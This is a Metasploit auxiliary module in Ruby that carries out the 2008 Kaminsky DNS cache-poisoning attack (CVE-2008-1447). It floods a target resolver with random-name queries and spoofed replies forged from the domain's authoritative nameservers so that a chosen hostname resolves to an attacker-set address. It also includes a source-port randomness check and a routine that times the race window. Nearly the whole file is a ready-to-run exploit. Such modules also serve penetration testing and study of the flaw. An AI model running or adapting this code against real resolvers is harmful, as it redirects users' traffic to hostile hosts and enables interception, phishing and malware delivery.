##
# $Id$
##

require 'msf/core'
require 'net/dns'
require 'resolv'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Capture

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DNS BailiWicked Host Attack',
			'Description'    => %q{
				This exploit attacks a fairly ubiquitous flaw in DNS implementations which
				Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
				malicious host entry into the target nameserver by sending random hostname
				queries to the target DNS server coupled with spoofed replies to those
				queries from the authoritative nameservers for that domain. Eventually, a
				guessed ID will match, the spoofed packet will get accepted, and due to the
				additional hostname entry being within bailiwick constraints of the original
				request the malicious host entry will get cached.
			},
			'Author'         => [ 'I)ruid', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-1447' ],
					[ 'OSVDB', '46776'],
					[ 'US-CERT-VU', '800113' ],
					[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
				],
			'DisclosureDate' => 'Jul 21 2008'
			))

			register_options(
				[
					OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
					OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
					OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
					OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
					OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
					OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
					OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),

				], self.class)

			deregister_options('FILTER','PCAPFILE')

	end

	def auxiliary_commands
		return {
			"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
			"racer" => "Determine the size of the window for the target server",
		}
	end

	def cmd_racer(*args)
		targ = args[0] || rhost()
		dom  = args[1] || "example.com"

		if !(targ and targ.length > 0)
			print_status("usage: racer [dns-server] [domain]")
			return
		end

		calculate_race(targ, dom)
	end

	def cmd_check(*args)
		targ = args[0] || rhost()
		if !(targ and targ.length > 0)
			print_status("usage: check [dns-server]")
			return
		end

		print_status("Using the Metasploit service to verify exploitability...")
		srv_sock = Rex::Socket.create_udp(
			'PeerHost' => targ,
			'PeerPort' => 53
		)

		random = false
		ports  = {}
		lport  = nil
		reps   = 0

		1.upto(30) do |i|

			req = Resolv::DNS::Message.new
			txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
			req.rd = 1

			srv_sock.put(req.encode)
			res, addr = srv_sock.recvfrom(65535, 1.0)


			if res and res.length > 0
				reps += 1
				res = Resolv::DNS::Message.decode(res)
				res.each_answer do |name, ttl, data|
					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
						t_addr, t_port = $1.split(':')

						print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
						t_port = t_port.to_i
						if(lport and lport != t_port)
							random = true
						end
						lport  = t_port
						ports[t_port] ||=0
						ports[t_port]  +=1
					end
				end
			end


			if(i>5 and ports.keys.length == 0)
				break
			end
		end

		srv_sock.close

		if(ports.keys.length == 0)
			print_error("ERROR: This server is not replying to recursive requests")
			return
		end

		if(reps < 30)
			print_status("WARNING: This server did not reply to all of our requests")
		end

		if(random)
			ports_u = ports.keys.length
			ports_r = ((ports.keys.length/30.0)*100).to_i
			print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
			if(ports_r != 100)
				print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
			end
		else
			print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
		end
	end

	def run
		check_pcaprub_loaded # Check first.

		target   = rhost()
		source   = Rex::Socket.source_address(target)
		saddr    = datastore['SRCADDR']
		sport    = datastore['SRCPORT']
		hostname = datastore['HOSTNAME'] + '.'
		address  = datastore['NEWADDR']
		recons   = datastore['RECONS']
		xids     = datastore['XIDS'].to_i
		newttl   = datastore['TTL'].to_i
		xidbase  = rand(20001) + 20000
		numxids = xids

		domain = hostname.sub(/\w+\x2e/,"")

		srv_sock = Rex::Socket.create_udp(
			'PeerHost' => target,
			'PeerPort' => 53
		)

		# Get the source port via the metasploit service if it's not set
		if sport.to_i == 0
			req = Resolv::DNS::Message.new
			txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
			req.rd = 1

			srv_sock.put(req.encode)
			res, addr = srv_sock.recvfrom()

			if res and res.length > 0
				res = Resolv::DNS::Message.decode(res)
				res.each_answer do |name, ttl, data|
					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
						t_addr, t_port = $1.split(':')
						sport = t_port.to_i

						print_status("Switching to target port #{sport} based on Metasploit service")
						if target != t_addr
							print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
						end
					end
				end
			end
		end

		# Verify its not already cached
		begin
			query = Resolv::DNS::Message.new
			query.add_question(hostname, Resolv::DNS::Resource::IN::A)
			query.rd = 0

			begin
				cached = false
				srv_sock.put(query.encode)
				answer, addr = srv_sock.recvfrom()

				if answer and answer.length > 0
					answer = Resolv::DNS::Message.decode(answer)
					answer.each_answer do |name, ttl, data|

						if((name.to_s + ".") == hostname)
							t = Time.now + ttl
							print_error("Failure: This hostname is already in the target cache: #{name}")
							print_error("         Cache entry expires on #{t}... sleeping.")
							cached = true
							select(nil,nil,nil,ttl)
						end
					end

				end
			end until not cached
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
		end

		res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

		print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

		# Look up the nameservers for the domain
		print_status "Querying recon nameserver for #{domain}'s nameservers..."
		answer0 = res0.send(domain, Net::DNS::NS)
		#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

		barbs = [] # storage for nameservers
		answer0.answer.each do |rr0|
			print_status " Got an #{rr0.type} record: #{rr0.inspect}"
			if rr0.type == 'NS'
				print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
				answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
				#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
				answer1.answer.each do |rr1|
					print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
					res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
					print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
					answer2 = res2.send(domain, Net::DNS::SOA)
					if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
						nsrec = {:name => rr0.nsdname, :addr => rr1.address}
						barbs << nsrec
						print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
					end
				end
			end
		end

		if barbs.length == 0
			print_status( "No DNS servers found.")
			srv_sock.close
			close_pcap
			return
		end


		if(xids == 0)
			print_status("Calculating the number of spoofed replies to send per query...")
			qcnt = calculate_race(target, domain, 100)
			numxids = ((qcnt * 1.5) / barbs.length).to_i
			if(numxids == 0)
				print_status("The server did not reply, giving up.")
				srv_sock.close
				close_pcap
				return
			end
			print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
		end

		# Flood the target with queries and spoofed responses, one will eventually hit
		queries = 0
		responses = 0


		open_pcap unless self.capture

		print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")

		while true
			randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname

			# Send spoofed query
			req = Resolv::DNS::Message.new
			req.id = rand(2**16)
			req.add_question(randhost, Resolv::DNS::Resource::IN::A)

			req.rd = 1

			src_ip = source

			if(saddr == 'Random')
				src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
			end

			p = PacketFu::UDPPacket.new
			p.ip_saddr = src_ip
			p.ip_daddr = target
			p.ip_ttl = 255
			p.udp_sport = (rand((2**16)-1024)+1024).to_i
			p.udp_dport = 53
			p.payload = req.encode
			p.recalc

			capture_sendto(p, target)

			queries += 1

			# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
			req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
			req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
			req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
			req.qr = 1
			req.ra = 1

			# Reuse our PacketFu object
			p.udp_sport = 53
			p.udp_dport = sport.to_i

			xidbase.upto(xidbase+numxids-1) do |id|
				req.id = id
				p.payload = req.encode
				barbs.each do |barb|
					p.ip_saddr = barb[:addr].to_s
					p.recalc
					capture_sendto(p, target)
					responses += 1
				end
			end

			# status update
			if queries % 1000 == 0
				print_status("Sent #{queries} queries and #{responses} spoofed responses...")
				if(xids == 0)
					print_status("Recalculating the number of spoofed replies to send per query...")
					qcnt = calculate_race(target, domain, 25)
					numxids = ((qcnt * 1.5) / barbs.length).to_i
					if(numxids == 0)
						print_status("The server has stopped replying, giving up.")
						srv_sock.close
						close_pcap
						return
					end
					print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
				end
			end

			# every so often, check and see if the target is poisoned...
			if queries % 250 == 0
				begin
					query = Resolv::DNS::Message.new
					query.add_question(hostname, Resolv::DNS::Resource::IN::A)
					query.rd = 0

					srv_sock.put(query.encode)
					answer, addr = srv_sock.recvfrom()

					if answer and answer.length > 0
						answer = Resolv::DNS::Message.decode(answer)
						answer.each_answer do |name, ttl, data|
							if((name.to_s + ".") == hostname)
								print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
								print_status("TTL: #{ttl} DATA: #{data}")
								close_pcap
								return
							end
						end
					end
				rescue ::Interrupt
					raise $!
				rescue ::Exception => e
					print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
				end
			end
		end
	end

	#
	# Send a recursive query to the target server, then flood
	# the server with non-recursive queries for the same entry.
	# Calculate how many non-recursive queries we receive back
	# until the real server responds. This should give us a
	# ballpark figure for ns->ns latency. We can repeat this
	# a few times to account for each nameserver the cache server
	# may query for the target domain.
	#
	def calculate_race(server, domain, num=50)

		q_beg_t = nil
		q_end_t = nil
		cnt     = 0

		times   = []

		hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain

		sock = Rex::Socket.create_udp(
			'PeerHost' => server,
			'PeerPort' => 53
		)


		req = Resolv::DNS::Message.new
		req.add_question(hostname, Resolv::DNS::Resource::IN::A)
		req.rd = 1
		req.id = 1

		q_beg_t = Time.now.to_f
		sock.put(req.encode)
		req.rd = 0

		while(times.length < num)
			res, addr = sock.recvfrom(65535, 0.01)

			if res and res.length > 0
				res = Resolv::DNS::Message.decode(res)

				if(res.id == 1)
					times << [Time.now.to_f - q_beg_t, cnt]
					cnt = 0

					hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain

					sock.close
					sock = Rex::Socket.create_udp(
						'PeerHost' => server,
						'PeerPort' => 53
					)

					q_beg_t = Time.now.to_f
					req = Resolv::DNS::Message.new
					req.add_question(hostname, Resolv::DNS::Resource::IN::A)
					req.rd = 1
					req.id = 1

					sock.put(req.encode)
					req.rd = 0
				end

				cnt += 1
			end

			req.id += 1

			sock.put(req.encode)
		end

		min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
		max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
		sum       = 0
		times.each{|i| sum += i[0]}
		avg_time = (	(sum / times.length) * 100).to_i / 100.0

		min_count = times.map{|i| i[1]}.min
		max_count = times.map{|i| i[1]}.max
		sum       = 0
		times.each{|i| sum += i[1]}
		avg_count = sum / times.length

		sock.close

		print_status("  race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")


		# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
		avg_count
	end

end